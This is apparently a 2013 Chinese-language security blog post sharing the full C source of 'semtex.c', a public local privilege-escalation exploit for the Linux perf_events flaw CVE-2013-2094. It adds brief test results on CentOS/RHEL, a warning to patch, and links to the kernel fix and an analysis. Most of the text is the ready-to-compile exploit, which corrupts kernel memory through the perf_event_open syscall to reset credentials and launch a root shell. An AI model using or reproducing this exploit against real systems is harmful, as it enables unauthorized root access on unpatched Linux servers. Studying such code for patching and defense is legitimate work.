[CVE-2013-2094]Linux PREF_EVENTS Local Root 2.6.37-3.8.10 x86_64

GaRY | 2013-05-14 15:54

http://sd.fucksheep.org/warez/semtex.c

又一个linux安全的偶像sd牛刚刚发出的作品。。感觉上基本是个通杀的东西，但是目前为止，我的测试是rh6.3和centos6.3，2.6.32 kernel成功root，6.4上目前只是挂了系统，只能证明漏洞是存在的。

待有缘人后来者修正之。

也要预警各位，赶紧修复各自的服务器。虽然貌似也就linux 3.8.10修了这个漏洞。。。

/*

* linux 2.6.37-3.x.x x86_64, ~100 LOC

* gcc-4.6 -O2 semtex.c && ./a.out

* 2010 sd@fucksheep.org, salut!

*

* update may 2013:

* seems like centos 2.6.32 backported the perf bug, lol.

* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.

*/

#define _GNU_SOURCE 1

#include <stdint.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/mman.h>

#include <syscall.h>

#include <stdint.h>

#include <assert.h>

#define BASE  0x380000000

#define SIZE  0x010000000

#define KSIZE  0x2000000

#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

void fuck() {

  int i,j,k;

  uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };

  uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));

  uint64_t kbase = ((uint64_t)current)>>36;

  uint32_t *fixptr = (void*) AB(1);

  *fixptr = -1;

  for (i=0; i<4000; i+=4) {

    uint64_t *p = (void *)&current[i];

    uint32_t *t = (void*) p[0];

    if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;

    for (j=0; j<20; j++) { for (k = 0; k < 8; k++)

      if (((uint32_t*)uids)[k] != t[j+k]) goto next;

      for (i = 0; i < 8; i++) t[j+i] = 0;

      for (i = 0; i < 10; i++) t[j+9+i] = -1;

      return;

next:;    }

  }

}

void sheep(uint32_t off) {

  uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };

  int fd = syscall(298, buf, 0, -1, -1, 0);

  assert(!close(fd));

}

int  main() {

  uint64_t  u,g,needle, kbase, *p; uint8_t *code;

  uint32_t *map, j = 5;

  int i;

  struct {

    uint16_t limit;

    uint64_t addr;

  } __attribute__((packed)) idt;

  assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);

  memset(map, 0, SIZE);

  sheep(-1); sheep(-2);

  for (i = 0; i < SIZE/4; i++) if (map[i]) {

    assert(map[i+1]);

    break;

  }

  assert(i<SIZE/4);

  asm ("sidt %0" : "=m" (idt));

  kbase = idt.addr & 0xff000000;

  u = getuid(); g = getgid();

  assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);

  memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);

  memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",

    printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27);

  setresuid(u,u,u); setresgid(g,g,g);

  while (j--) {

    needle = AB(j+1);

    assert(p = memmem(code, 1024, &needle, 8));

    if (!p) continue;

    *p = j?((g<<32)|u):(idt.addr + 0x48);

  }

  sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);

  asm("int $0x4");  assert(!setuid(0));

  return execl("/bin/bash", "-sh", NULL);

}

—————————–

5.15 update:

最新消息，CVE号已经出来了。thx@请叫我大神 CVE-2013-2094

然后影响范围也有所缩减，实际上是3.8.9就已经修复了此漏洞。

其次这的确是个0day漏洞，目前各大厂商都还没有给出正式的二进制hotfix patch。

但是linux 内核上是有patch的，各位心急的可以参考下：

http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8176cced706b5e5d15887584150764894e94e02f

如果你们对原理感兴趣，不妨去看看spender对漏洞的解析：

http://www.reddit.com/r/netsec/comments/1eb9iw/sdfucksheeporgs_semtexc_local_linux_root_exploit/c9ykrck